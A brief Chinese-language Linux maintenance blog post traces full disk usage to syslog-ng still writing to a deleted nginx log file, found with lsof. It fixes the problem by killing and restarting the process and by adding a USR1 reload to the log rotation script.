/dev/mapper/vg-lv_root
7864320 122554 7741766 2% /
tmpfs 4093515 2 4093513 1% /dev/shm
/dev/sda1 128016 39 127977 1% /boot
/dev/mapper/vg-lv_app
21135360 6768994 14366366 33% /opt
/dev/mapper/vg-lv_var
6553600 3068 6550532 1% /var
/usr/Tmp 625856 689 625167 1% /tmp

查看下进程是否有占用

lsof | grep delete

php-fpm 1155 www 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)
php-fpm 2289 www 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)
syslog-ng 4913 root 9w REG 253,3 84811572283 1310862 /var/log/nginx/blog.c1gstudio.com.20180726.log (deleted)
php-fpm 5478 root 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)
php-fpm 5700 www 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)
php-fpm 6438 www 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)
php-fpm 11638 www 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)
php-fpm 11823 www 3u REG 7,0 0 33 /tmp/ZCUDxFkJdQ (deleted)

看到 syslog-ng 4913 一直在写已删除文件.
kill 4913
再重启下进程,就可以看到恢复了.

分析下原因是日志打包脚本中忘记reoload syslog-ng,修复!
/bin/kill -USR1 cat /usr/local/syslog-ng/var/syslog-ng.pid

Posted in linux 维护优化.